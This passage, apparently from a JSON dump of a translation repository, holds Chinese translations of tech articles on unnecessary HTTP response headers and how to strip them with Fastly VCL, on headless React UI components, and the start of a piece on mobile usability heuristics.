    "content": "> * 原文地址：[The headers we don't want](https://www.fastly.com/blog/headers-we-dont-want)\n> * 原文作者：[Andrew Betts](https://www.fastly.com/blog/andrew-betts)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/headers-we-dont-want.md](https://github.com/xitu/gold-miner/blob/master/TODO1/headers-we-dont-want.md)\n> * 译者：[SergeyChang](https://github.com/SergeyChang)\n> * 校对者：[Hank](https://github.com/lihanxiang)\n\n# 那些我们不需要的 HTTP 头信息\n\n如果你想了解更多 http 头信息的知识，请关注 5 月 22 号[安德鲁在伦敦的演讲](https://www.fastly.com/altitude/2018/london)。\n\nhttp 头信息是控制缓存和浏览器处理web内容的一种重要方式。但很多时候它都被错误或冗余地使用，这不仅没有达成我们的使用目的，还增加了加载页面时的运行开销。这篇 http 头信息的系列博文中的第一篇文章，让我们先来扒一扒那些不必要的 http 头信息。\n\n大多数开发者都了解一些 HTTP 头信息，并利用它去处理内容。如大家熟知的 `Content-Type` 和 `Content-Length`，它们都是通用的。但最近，`Content-Security-Policy` 和 `Strict-Transport-Security` 这样的头信息已经开始用于提高安全性，`Link rel=preload` 用于提高性能。只是极少数网站使用他们，尽管它们被浏览器广泛支持。\n\n与此同时，还有很多以前就有并且灰常受欢迎的头信息是不实用的。我们可以使用 [HTTP 存档](http://httparchive.org/) 来证实这一点。[HTTP 存档](http://httparchive.org/) 是由 Fastly 赞助并由 Google 运营的项目，每个月使用 [WebPageTest](https://www.webpagetest.org/) 加载 500,000 个网站并进行性能测试，结果公布在 [BigQuery](https://cloud.google.com/bigquery/)。\n\n在 HTTP 存档数据中，这里列出了 30 个最受欢迎的响应头信息（基于存档中大多数网站都处理的头信息进行统计的结果），并大致说说它们多有用：\n\n| Header name | Requests | Domains | Status |\n| --- | --- | --- | --- |\n| date | 48779277 | 535621 | Required by protocol |\n| content-type | 47185627 | 533636 | Usually required by browser |\n| **server** | **43057807** | **519663** | **Unnecessary** |\n| content-length | 42388435 | 519118 | Useful |\n| last-modified | 34424562 | 480294 | Useful |\n| cache-control | 36490878 | 412943 | Useful |\n| etag | 23620444 | 412370 | Useful |\n| content-encoding | 16194121 | 409159 | Required for compressed content |\n| **expires** | **29869228** | **360311** | **Unnecessary** |\n| **x-powered-by** | **4883204** | **211409** | **Unnecessary** |\n| **pragma** | **7641647** | **188784** | **Unnecessary** |\n| **x-frame-options** | **3670032** | **105846** | **Unnecessary** |\n| access-control-allow-origin | 11335681 | 103596 | Useful |\n| x-content-type-options | 11071560 | 94590 | Useful |\n| link | 1212329 | 87475 | Useful |\n| age | 7401415 | 59242 | Useful |\n| **x-cache** | **5275343** | **56889** | **Unnecessary** |\n| x-xss-protection | 9773906 | 51810 | Useful |\n| strict-transport-security | 4259121 | 51283 | Useful |\n| **via** | **4020117** | **47102** | **Unnecessary** |\n| **p3p** | **8282840** | **44308** | **Unnecessary** |\n| expect-ct | 2685280 | 40465 | Useful |\n| content-language | 334081 | 37927 | Debatable |\n| **x-aspnet-version** | **676128** | **33473** | **Unnecessary** |\n| access-control-allow-credentials | 2804382 | 30346 | Useful |\n| x-robots-tag | 179177 | 24911 | Not relevant to browsers |\n| x-ua-compatible | 489056 | 24811 | Useful |\n| access-control-allow-methods | 1626129 | 20791 | Useful |\n| access-control-allow-headers | 1205735 | 19120 | Useful |\n\n我们这里只关注那些不需要的头信息，以及说明为什么不需要它们、该如何处理。\n\n## 没用的信息（server, x-powered-by, via）\n\n你可能为你服务器软件的选择而骄傲，但是大多数人（用户）对此并不关心。并且这些头部信息可能会导致你的敏感信息泄漏进而使得你的网站受到攻击。\n\n```\nServer: apache\nX-Powered-By: PHP/5.1.1\nVia: 1.1 varnish, 1.1 squid\n```\n\n[RFC7231](https://httpwg.org/specs/rfc7231.html#header.server) 标准允许服务器在响应中包含 `Server` 头信息，识别用于服务内容的服务器软件。最常见的是 “apache” 和 “nginx”。虽然它是允许的，也不是强制的，但是对开发者和最终用户都没有太多实在意义。然而，它是当今 web 上第三个最流行的 HTTP 响应头。\n\n`X-Powered-By` 是没有在任何标准中定义却很受欢迎的头信息，相似地，通常用于指出 web 服务器后的应用软件平台。常见的值有 “ASP.net”，“PHP” 和 “Express”，实际上它们并不提供任何好处，还占用空间。\n\n更具争议的应该是 `Via`，当添加到通过其传递的代理来识别代理的任何代理的响应时，[RFC7230](https://httpwg.org/specs/rfc7230.html#header.via) 规定它是必须的。代理主机名的时候他可能是有用的，但更多时候它像是一个通用标识符，如  “vegur”，“varnish”，或 “squid”。删除或者不设置这个头信息在技术上是违反规范的，但是没有浏览器对它做任何事情，所以如果你想删除它是没问题的。\n\n## 弃用的标准（P3P, Expires, X-Frame-Options）\n\n另一类 http 头信息是那些在浏览器中有效果的，但不是(或者不再是)达成效果的最佳方式。\n\n```\nP3P: cp=\"this is not a p3p policy\"\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\nX-Frame-Options: SAMEORIGIN\n```\n\n`P3P` 是个让人好奇的东东。我对它不了解，甚至很好奇，它最常见的值居然是 “this is not a p3p policy”。那它是，还是不是啊？\n\n这要追溯到[试图使机器可读的隐私政策标准化](https://en.wikipedia.org/wiki/P3P#User_agent_support)，当时大家对于如何在浏览器中显示数据存在分歧，并且只有一个浏览器实现了这个 http 头信息 -- IE 浏览器。即使在 IE 浏览器中，`P3P` 也不会给用户带去任何视觉效果，它只需要在 iframe 中允许访问第三方cookie。有些网站甚至设置了一个不符合标准的 P3P 规则，比如上面的一个，即使这样做是[不合法律规定的](https://www.cylab.cmu.edu/_files/pdfs/tech_reports/CMUCyLab10014.pdf)。\n\n不用说，读取第三方 cookie 通常是不可取的，所以如果你打算不这样做，你也不需要设置一个 `P3P` 头信息\n\n`Expires` 受欢迎程度达到了不可思议的状况，试想下这种情况，`Cache-Control` 被设置为 20 年后过期。如果 `Cache-Control` 头信息包含 `max-age` 指令，那么在相同响应上的任何 `Expires` 头信息将被忽略。但是有大量网站同时设置了这两个信息，并且 `Expires` 头信息通常被设置为格林尼治时间 -- `Thu, 01 Dec 1994 16:00:00`。很多人这样做因为他们不希望网站内容被缓存和复制，所以就[从规范中](https://www.ietf.org/rfc/rfc2616.txt)复制这个实例日期来填充。\n\n![Screen Shot 2018-05-10 at 21.49.25](//www.fastly.com/cimages/6pk8mg3yh2ee/63zsHXNxp6YmWacesKYgwy/e3f1040e2d948b0655667aaa86d5310f/Screen_Shot_2018-05-10_at_21.49.25.png)\n\n实际上我们没必要这么做。如果你设置了一个 `Expires` 头信息并为其设置了一个过往的时间，那么你可以这么设置，用来取代你之前的做法：\n\n```\nCache-Control: no-cache, private\n```\n\n一些审核你网站的工具会让你添加一个值为 “SAMEORIGIN” 的 `X-Frame-Options` 头信息。这告诉浏览器你拒绝被其他网站诬陷，这也是预防[点击攻击](https://en.wikipedia.org/wiki/Clickjacking)的一种常用手段。\n然而，以下更一致的支持和更可靠的行为定义的方式，可以实现同样的效果：\n\n```\nContent-Security-Policy: frame-ancestors 'self'\n```\n\n作为头信息（csp）的一部分，你还获得其他好处（稍后会详细介绍）。所以你现在可能没有 `X-Frame-Options` 头信息。\n\n## 调试数据（X-ASPNet-Version, X-Cache）\n\n令人惊讶的是，一些最常用的头信息都没有任何标准。实际上，这意味着，成千上万的网站似乎自发地同意以特定的方式使用特定的 http 头信息。\n\n```\nX-Cache: HIT\nX-Request-ID: 45a336c7-1bd5-4a06-9647-c5aab6d5facf\nX-ASPNet-Version: 3.2.32\nX-AMZN-RequestID: 0d6e39e2-4ecb-11e8-9c2d-fa7ae01bbebc\n```\n\n实际上，这些“未知”头信息并不是由网站开发人员独立完成的。它们通常是受使用特定服务器框架、软件或特定供应商服务的人为因素的影响而形成的（在此示例中，最后一个头信息是常见的 AWS 头信息）。\n\n特别地，`X-Cache` 实际是 Fastly 添加的（其他 CDN 也是这样做的），其他一些与 Fastly 相关的头信息，如`X-Cache-Hits` 和 `X-Served-By`。当启用调试时，我们添加更多头信息，如 `Fastly-Debug-Path` 和 `Fastly-Debug-TTL`。\n\n这些头信息无法被任何浏览器识别，删除它们对网页渲染没有任何影响。但是，由于这些标题可能向开发人员提供有用的信息，因此你或许要保留一些方法来告知开发者。\n\n## 不能被正确识别（Pragma）\n\n我没料到会在 2018 年写一篇关于“Pragma”头的文章，但根据我们的 HTTP 存档数据，它居然还排在了第 11 位。早在 1997 年，Pragma 就已经弃用了，它也从来没有打算成为响应头 —— 正如所指定的，它只有作为请求的一部分时才有意义。\n\n```\nPragma: no-cache\n```\n\n尽管如此，它作为一个响应头是如此被广泛使用，以至于一些浏览器也能识别它。现在，你的回应将传递一个能识别 `Pragma` 的缓存，而不能识别 `Cache-Control` 的概率很小。如果你想确保某些东西没有被缓存，你只需要 `Cache-Control: no-cache, private`。\n\n## 非浏览器的（X-Robots-Tag）\n\n排名前 30 的头信息中有一个是非浏览器的头信息。`X-Robots-Tag` 用于对付网络爬虫，比如 Google 和 Bing 的机器人。因为它对浏览器没有任何意义，所有你可以在需要应对爬虫的时候才设置这个头信息。与此同时带来的影响，可能是使得测试变得困难，或者是违反了搜索引擎的服务条款。\n\n## Bugs\n\n最后，值得一提的是简单的错误。在一个**请求**中，`Host` 头信息存在是有道理的，但是如果它出现在响应中就说明很可能你的服务被错误地配置（我很想知道这是怎么产生的）。尽管如此，上文提到的 HTTP 存档还是有 68 个网域返回了 `Host` 的头信息。\n\n## 删除头信息\n\n如果你的网站使用了 Fastly 的服务，那么恭喜你，使用 [VCL](https://docs.fastly.com/guides/vcl/) 是删去头信息是很便捷的。你可能希望将真正有用的调试数据保留到你的开发团队中，但将其隐藏在公共用户中，这很有意义，你可以通过检测 cookie 或传进来 HTTP 头信息来轻松实现：\n\n```\nunset resp.http.Server;\nunset resp.http.X-Powered-By;\nunset resp.http.X-Generator;\n\nif (!req.http.Cookie:debug && !req.http.Debug) {\n  unset resp.http.X-Amzn-RequestID;\n  unset resp.http.X-Cache;\n}\n```\n\n在本系列的下一篇文章中，我将讨论设置 HTTP 头信息的最佳做法，以及如何启用它们。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/headless-user-interface-components.md",
    "content": "> * 原文地址：[Headless User Interface Components](https://medium.com/merrickchristensen/headless-user-interface-components-565b0c0f2e18)\n> * 原文作者：[Merrick Christensen](https://medium.com/@iammerrick?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/headless-user-interface-components.md](https://github.com/xitu/gold-miner/blob/master/TODO1/headless-user-interface-components.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[xunge0613](https://github.com/xunge0613)、[Moonliujk](https://github.com/Moonliujk)\n\n# 无渲染组件\n\n[原文](https://www.merrickchristensen.com/articles/headless-user-interface-components/)\n\n无头用户界面组件是一种不提供任何接口而提供最大视觉灵活性的组件。“等等，你是在提倡没有用户界面的用户界面模式么？”\n\n是的，这正是我所提倡的。\n\n### 掷硬币组件\n\n假设你现在需要实现一个掷硬币的功能，当组件渲染时模拟一次掷硬币！一半的时间组件应该渲染“正面”，一半的时间应该渲染“反面”。你对你的产品经理说“这需要多年的研究！”然后你继续工作。\n\n```\nconst CoinFlip = () =>\n Math.random() < 0.5 ? <div>Heads</div> : <div>Tails</div>;\n```\n\n事实证明，模仿掷硬币比你想象的要容易得多，所以你可以自豪地分享成果。你得到了回复，“这真的是太棒了！请更新那些显示很酷的硬币的图片好么？”没问题！\n\n```\nconst CoinFlip = () =>\n Math.random() < 0.5 ? (\n   <div>\n     <img src=”/heads.svg” alt=”Heads” />\n   </div>\n ) : (\n   <div>\n     <img src=”/tails.svg” alt=”Tails” />\n   </div>\n );\n```\n\n很快，他们会在营销材料中使用你的 `<CoinFlip />` 组件，来向人们演示你的新功能有多么炫酷。“我们想在博客上发表文章，但是我们需要标签 'Heads' 和 'Tails'，用于 SEO 和其他事情。”哦，天啊，或许我们需要在商城网站中添加一个标志？\n\n```\nconst CoinFlip = (\n // We’ll default to false to avoid breaking the applications\n // current usage.\n { showLabels = false }\n) =>\n Math.random() < 0.5 ? (\n   <div>\n     <img src=”/heads.svg” alt=”Heads” />\n\n     {/* Add these labels for the marketing site. */}\n     {showLabels && <span>Heads</span>}\n   </div>\n ) : (\n   <div>\n     <img src=”/tails.svg” alt=”Tails” />\n\n     {/* Add these labels for the marketing site. */}\n     {showLabels && <span>Tails</span>}\n   </div>\n );\n```\n\n后来，出现了一个需求。“我们想知道你能否只给 APP 里的 `<CoinFlip />` 添加一个重掷硬币的按钮？”事情开始变得糟糕，以致于我不敢再直视 Kent C. Dodds 的眼睛。\n\n```\nconst flip = () => ({\n  flipResults: Math.random()\n});\n\nclass CoinFlip extends React.Component {\n  static defaultProps = {\n    showLabels: false,\n    // We don’t repurpose `showLabels`, we aren’t animals, after all.\n    showButton: false\n  };\n\n  state = flip();\n\n  handleClick = () => {\n    this.setState(flip);\n  };\n\n  render() {\n   return (\n     // Use fragments so people take me seriously.\n     <>\n     {this.state.showButton && (\n       <button onClick={this.handleClick}>Reflip</button>\n     )}\n     {this.state.flipResults < 0.5 ? (\n       <div>\n         <img src=”/heads.svg” alt=”Heads” />\n         {showLabels && <span>Heads</span>}\n       </div>\n     ) : (\n       <div>\n         <img src=”/tails.svg” alt=”Tails” />\n         {showLabels && <span>Tails</span>}\n       </div>\n     )}\n     </>\n   );\n }\n}\n```\n\n很快就有同事找到你。“嗨，你的 `<CoinFlip />` 性能太棒了！我们刚接到任务要开发新的 `<DiceRoll />` 特性，我们希望可以重用你的代码！”新骰子的功能：\n\n1. 想要“重新掷骰子”的 `onClick`。  \n2. 希望在 APP 和商城网站中都显示。\n3. 有完全不同的界面。  \n4. 有不同的随机性。\n\n你现在有两个选项，回复“对不起，我们不一样。”或着你一边向 `CoinFlip` 中添加 `DiceRoll` 的复杂功能，一边看着组件无法承受过多职责而崩溃。（是否有一个给忧郁的程序员诗人的市场？我喜欢追求这种技术。）\n\n### 无头组件了解一下\n\n无头用户界面组件将组件的逻辑和行为与其视觉表现分离。当组件的逻辑足够复杂并与它的视觉表现解耦时，这种模式非常有效。实现 `<CoinFlip/>` 的无头将作为[函数子组件](https://www.merrickchristensen.com/articles/function-as-child-components/)或渲染属性，就像这样：\n\n```\nconst flip = () => ({\n  flipResults: Math.random()\n});\nclass CoinFlip extends React.Component {\n  state = flip();\n  handleClick = () => {\n    this.setState(flip);\n  };\n  render() {\n    return this.props.children({\n      rerun: this.handleClick,\n      isHeads: this.state.flipResults < 0.5\n    });\n  }\n}\n```\n\n这个组件是无头的，因为它没有渲染任何东西，它期望当它在处理逻辑的时，各种 consumers 完成视觉表现。因此 APP 代码看起来应该是这样的：\n\n```\n<CoinFlip>\n  {({ rerun, isHeads }) => (\n   <>\n     <button onClick={rerun}>Reflip</button>\n     {isHeads ? (\n       <div>\n         <img src=”/heads.svg” alt=”Heads” />\n       </div>\n     ) : (\n       <div>\n         <img src=”/tails.svg” alt=”Tails” />\n       </div>\n     )}\n   </>\n  )}\n</CoinFlip>\n```\n\n商场站点代码：\n\n```\n<CoinFlip>\n {({ isHeads }) => (\n   <>\n     {isHeads ? (\n       <div>\n         <img src=”/heads.svg” alt=”Heads” />\n         <span>Heads</span>\n       </div>\n     ) : (\n       <div>\n         <img src=”/tails.svg” alt=”Tails” />\n         <span>Tails</span>\n       </div>\n     )}\n   </>\n )}\n</CoinFlip>\n```\n\n这很好不是么！我们把逻辑与视觉表现完全解耦！这给我们视觉上带来了很大的灵活性！我知道你正在思考什么......\n\n> 你这小笨蛋，这不就是一个渲染属性么？\n\n这个无头组件恰好是作为渲染工具实现的，是的！它也可以作为一个高阶组件来实现。**即使是简单的实现，也可以到达我们的要求。**它甚至可以作为 `View` 和 `Controller` 来实现。或者是 `ViewModel` 和 `View`。这里的重点是将翻转硬币的机制和该机制的“界面”分离。\n\n#### 那 `<DiceRoll />` 呢？\n\n这种分离的巧妙之处在于，推广我们的无头组件以及支持我们同事的新的 `<DiceRoll />` 的特性会很容易。拿着我的 Diet Coke™：\n\n```\nconst run = () => ({\n  random: Math.random()\n});\n\nclass Probability extends React.Component {\n  state = run();\n\n  handleClick = () => {\n    this.setState(run);\n  };\n\n  render() {\n    return this.props.children({\n      rerun: this.handleClick,\n\n      // By taking in a threshold property we can support\n      // different odds!\n      result: this.state.random < this.props.threshold\n    });\n  }\n}\n```\n\n利用这个无头组件，我们在没有对 consumer 进行任何更改对情况下，交换 `<CoinFlip />` 的实现：\n\n```\nconst CoinFlip = ({ children }) => (\n <Probability threshold={0.5}>\n   {({ rerun, result }) =>\n     children({\n       isHeads: result,\n       rerun\n   })}\n </Probability>\n);\n```\n\n现在我们的同事可以分享我们的 `<Probability />` 模拟程序机制了！\n\n```\nconst RollDice = ({ children }) => (\n  // Six Sided Dice\n  <Probability threshold={1 / 6}>\n    {({ rerun, result }) => (\n      <div>\n        {/* She was able to use a different event! */}\n        <span onMouseOver={rerun}>Roll the dice!</span>\n        {/* Totally different interface! */}\n        {result ? (\n          <div>Big winner!</div>\n        ) : (\n          <div>You win some, you lose most.</div>\n        )}\n      </div>\n    )}\n </Probability>\n);\n```\n\n非常干净，不是么？\n\n### 分离原则 —— Unix 哲学\n\n这表达了一个存在很长时间对普遍基本原则，“Unix 基础哲学第四条”：\n\n> 分离原则：将策略与机制分离，将接口和引擎分离 —— Eric S. Raymond。\n\n我想借用书中的部分，并且用“接口”来替换“策略”一词。\n\n> **接口**和机制都倾向于在不同时间范围内变化，但**接口**的变化比机制要快得多。GUI 工具包那时尚的外观和体验会变，但是操作和组合却不会。\n\n> 因此，将**接口**和机制结合在一起有两个不好的影响：它使得接口变的生硬，更难响应用户的需求，这意味着试图更改**接口**具有很强的不稳定性。\n\n> 另一方面，通过将这两者分开，我们可以在没有中断机制的情况下试验新的**接口**。我们还可以更容易地为该机制编写好的测试（**接口**，因为**它们**太新了，难以证明这样的投资是合理的）。\n\n我喜欢这里的真知灼见！这也让我们对何时使用无头组件模式有了一些了解。\n\n1.  这个组件会持续多长时间？除了界面外，是否值得刻意保留这个机制？也许在另一个外观和体验不同的项目中可以使用这种机制？\n2.  我们的界面改变的频率多快？同一机制会有多个接口么？\n\n当你将“机制”和“策略”分离时，就会产生间接的成本。你需要确保分离的价值大于它的间接成本。我认为这在很大程度上是过去许多 MV* 模式出问题的地方，它们从这样一个公理开始，即所有的东西都应该以这种方式分开；而在现实中，机制和策略往往是紧密耦合的，或分离的成本并没有超过分离的好处。\n\n### 开源无头组件和非平凡引用\n\n要获取一个真正的示例性非平凡无头组件，可以了解一下我朋友 [Kent C. Dodds](https://kentcdodds.com/) 在 Paypal 上的项目：[downshift](https://github.com/paypal/downshift) 的文章。事实上，正是 downshift 给了这篇文章一些灵感。在不提供任何用户界面的情况下，downshift 提供了复杂的自动完成、下拉、选择体验，这些体验都是可以访问的。[在这里](http://downshift.netlify.com/?selectedKind=Examples&selectedStory=basic&full=0&addons=1&stories=1&panelRight=0)看看它所有可用的方法。\n\n我希望随着时间的推移，会出现更多类似的项目。我无法计算有多少次我想使用一个特定的开源 UI 组件，但却无法这样做，因为在满足设计要求的方式上，它并不是“主题化的”或“可剥离的”。无头组件完全通过“自带接口”的要求来解决这个问题。\n\n在一个设计系统和用户界面库都是无头的世界里，你的界面可以有一种高端定制的感觉，**以及**优秀开源库的持久性和可访问性。你仅需要将时间花费在你所需要的部分 —— 一个独特的，外观及体验都只属于你APP的部分。\n\n我可以继续讨论从国际化到 E2E 测试集成的好处，但我建议你最好自己去体验。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/heuristic-principles-for-mobile-interfaces.md",
    "content": "> * 原文地址：[10 heuristic principles for mobile interfaces](https://uxdesign.cc/heuristic-principles-for-mobile-interfaces-c226fbaa1d16)\n> * 原文作者：[Jordan DeVos](https://medium.com/@jordandevos)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/heuristic-principles-for-mobile-interfaces.md](https://github.com/xitu/gold-miner/blob/master/TODO1/heuristic-principles-for-mobile-interfaces.md)\n> * 译者：[Hyde Song](https://github.com/HydeSong)\n> * 校对者：[portandbridge](https://github.com/portandbridge)，[sunui](http://github.com/sunui)\n\n# [译] 移动界面设计的 10 项启发式原则\n\n![](https://cdn-images-1.medium.com/max/3440/1*IRIxsMuVD4AUlChUyZzOAA.png)\n\n当 Jakob Nielsen 开始研究设计模式时，他正在从事人机交互方面的可用性工程的咨询和教学工作。所以在 1994 年，他收集并发布了一套可用性启发式 [评估原则](https://www.nngroup.com/articles/ten-usability-heuristics/)，这些原则反映了他所研究的东西。如今，经过了近 25 年的时间，随着电脑向智能手机的转变，Nielsen 的原则依然站得住脚。 \n\n以人为本的设计强调了用户的重要性，设计过程也相应地进行了调整；然而，虽然 Nielsen 的原则在所有屏幕类型上仍然是通用的，但是随着移动设备使用量的不断增加，设计的重心已然在 [移动界面](https://www.toptal.com/designers/mobile/mobile-app-design-mistakes) 上了。\n\n在网上搜索启发性原则，你会列出很长的一份清单，但内容略有差异。以下是十项原则的精选集，这些原则由以人为本的设计和可用性思想倡导者所启发。\n\n## 可用性启发从用户需求开始\n\n在开始讨论这十项原则之前，必须认识到用户的重要性正在不断增长。[GOV.UK](https://www.gov.uk/) 虽然是一个政府网站，但它的重新设计是用户主导的产品因其可用性获得全球认可的一个典型例子。\n\n项目设计总监 Ben Terrett 以一套用户界面 [设计原则](https://www.gov.uk/guidance/government-design-principles) 为起点，这套原则涵盖从产品策略到视觉设计方法的方方面面。正是第一项原则指引了产品的成功：“永远从用户需求出发。如果不知道用户需要什么，就无法构建正确的东西。做调查、分析数据、与用户交流。不要假设。对用户要有同理心，记住他们要求的并不总是他们需要的。”\n\n可用性评估的启发式原则有助于确定 UI 设计在哪些方面不能提供用户友好的体验。\n\n## 一、系统结构的透明度\n\n**让某些元素和结构可见的做法，让用户对上下文有足够的理解。**\n\n UI 应该允许用户相信一切在控制之中。用户应该能够轻松地回答这些问题：“我现在在哪里?” 和 “从这里我能去哪里?” 当一个系统是透明的，用户可以决定接下来会发生什么。用户获得了使用界面的自主权和随后的信心。\n\n![导航菜单变为汉堡包菜单，指示稍后可以在何处找到信息。（由 [Gal Shir](https://galshir.com/) 设计）](https://cdn-images-1.medium.com/max/3360/0*BAE8DM_ocDtJZg-c.gif)\n\n## 二、操作反馈的即时性\n\n**对用户操作响应证明系统已收到请求。**\n\n任何用户操作都应该有一个即时的界面反馈。即时反馈让用户放心，系统正在做预期的事情。[Nick Babich](https://www.smashingmagazine.com/2016/12/best-practices-for-animated-progress-indicators/) 是 Smashing Magazine 的 UX 专家，他使用进度指示器作为一个很好的例子，来明确传达操作状态。他认为，它可以直观地通知用户，他们的操作已经被接受，系统很快就会指示下一步操作。如果没有指示器，用户就会面临不确定性和挫折感，从而导致用户访问中断。\n\n![用一个简单的动画来确认收到了下拉刷新操作，下面的内容是最新的。（由 [jiangxiaobei](https://dribbble.com/jiangxiaobei) 设计）](https://cdn-images-1.medium.com/max/3360/0*9VP-bybmPpAQo8Ns.gif) \n\n## 三、让用户知悉错误信息\n\n**用户操作错误之后可以得到提示信息和对应的操作选项。**\n\n有时候，用户总是以一种意想不到的方式与移动界面进行交互，在使用的时候感到沮丧和烦恼，无法满足自己的需求。用户不能流畅轻松地使用是用户提早离开的常见原因。UI 应该提供足够的提示信息来帮助用户识别、判断和从错误中恢复。\n\n用户应该总是容易获得帮助信息；然而，要取得平衡并不容易。给用户太多的选择反而会让用户应接不暇。应该让用户对如何解决错误有一个清晰的认识，并让用户了解以后如何防止错误的再次发生。\n\n![移动界面的空状态解释了用户为什么会看到这个错误页面，并提供了两个操作来解决错误。（由 [Murat Mutlu](https://dribbble.com/shots/1738412-Project-empty-state) 设计）](https://cdn-images-1.medium.com/max/3360/0*uPupo3gf8fjFHJTD.jpg)\n\n## 四、使用的灵活性\n\n**界面应该能让经验不同的用户都能直观有效地使用。**\n\n移动端的交互体验不应依赖外部的用户操作指南。不管用户第一次使用移动 app 还是第一百次使用，界面都应该适应这两种场景。\n\n要让老用户快捷地访问、更深入地整体地理解应用，但也不要让新用户因简单的困惑陷入无助的境地。有了 UI 的灵活性，用户就可以找到符合自身能力和满足自己需求的途径。\n\n[Jill Gerhardt-Powal 的](https://en.wikipedia.org/wiki/Heuristic_evaluation#Gerhardt-Powals.E2.80.99_cognitive_engineering_principles) 认知工程学原则建议设计师“在适当的时候提供多种数据编码 —— 系统应该提供不同格式和/或细节级别的数据，以提高认知灵活性和满足用户偏好。”无论是让用户感到压力的还是感到约束的界面必然会让用户在使用的时候感到烦恼。\n\n![应该向新用户介绍工具的功能，但是老用户永远不会看到这些常规的工具提示。（由 [Lakshmi Karuppiah](https://dribbble.com/lakshmikaruppiah) 设计）](https://cdn-images-1.medium.com/max/3360/0*Hx11UX6AHVjOPMrT.jpg)\n\n## 五、贴合大众习惯的用户体验\n\n**使用符合人们常识的意料之内的设计元素。**\n\n[图形界面的历史](https://www.wired.com/1997/12/web-101-a-history-of-the-gui/) 始于苹果计算机公司在第一个用户友好的计算机界面设计中对照了现实世界的物品。“Lisa”的图形界面中使用了比如用文件夹图标表示文件组织结构的类似的设计元素。当大多数人都不熟悉数字交互时，这些现实的对照是有用的，但是随着人们数字素养的提高，大多的对照就不再需要字面化了。\n\n随着人们花更多的时间与屏幕交互，共同的用户预期已经形成。我们希望“+”可以展开更多信息，导航菜单停留在移动屏幕的顶部或底部。利用大多数用户都能理解的对照，界面变得直观。\n\n![这两个图标可以立即识别，并清楚地表示大多数用户都能理解的操作。（由 [Mohammad Amiri](https://dribbble.com/shots/4832226-Search-Icon-Interaction-Search-Close) 设计）](https://cdn-images-1.medium.com/max/3360/0*1StwrCYHxA3AV3xE.gif)\n\n## 六、防止过多信息和过度设计\n\n**创建精简的设计，排除可能影响流畅的且有目的性的用户体验的非必要元素。**\n\n一般原则是，数字交互设计不要让用户产生困惑。为了减少决策时间和错误，Jill Gerhardt-Powal 向设计师提出了一个挑战，通过以一种清晰而明显的方式显示数据来减少不确定性。这可以通过去除不必要的内容以及使用颜色、布局和排版引导用户通过屏幕来实现。不应该让用户分心，而应该向他们提供足够的指导，然他们更容易实现目的。\n\nBen Terrett 经常使用 [GOV.UK](https://www.gov.uk/guidance/government-design-principles) 的第四条设计原则:“努力让事情变得简单。”他认为，设计团队应该完全理解他们正在处理的问题，以及提供直观、信息丰富和成功用户体验的最佳解决方案的过程。在这个 [案例研究](https://gds.blog.gov.uk/2014/07/28/doing-the-the-work-to-make-things-simple/) 中，记录了他们的方法。\n\n![英国政府数字服务部门 (British Government Digital Services) 对信息进行分解，以确定用户需要知道什么，并创建了视觉设计，消除了一切不必要的东西，以支持信息的清晰性。（由 [英国政府数字服务](https://designnotes.blog.gov.uk/2014/07/14/things-we-learnt-designing-register-to-vote/) 设计）](https://cdn-images-1.medium.com/max/3360/0*4XbF10wLsf_RzW9S.jpg)\n\n## 七、功能优先于形式\n\n**设计决策是由元素的作用来驱动的，而不是优先考虑它的视觉风格。**\n\n**“如果你认为某件事很聪明、很复杂，要小心 —— 这可能是自我放纵。” —— Don Norman，高产的产品设计师，《The Design of Everyday Things》的作者。**\n\n界面的视觉设计应该总是从定义的功能开始。当风格和趋势被优先考虑时，结果可能看起来很漂亮，很引人注目，但最终可能导致脱节的 [用户体验](https://www.toptal.com/designers/mobile-ux)。视觉形式无法拯救功能失调的设计。\n\n视觉提示可以用来在应用程序的功能中引导用户。[Fritt 法则](https://www.interaction-design.org/literature/article/fitts-s-law-the-importance-of-size-and-distance-in-ui-design) 指出，形状、间距和大小可以引导用户了解情况并采取所需的行动。正是在这里，形式支撑并放大了功能。\n\n![这种数字登机牌考虑了旅客对信息有怎样的需求，并使用视觉技术使信息具有功能性。（由 [Marin 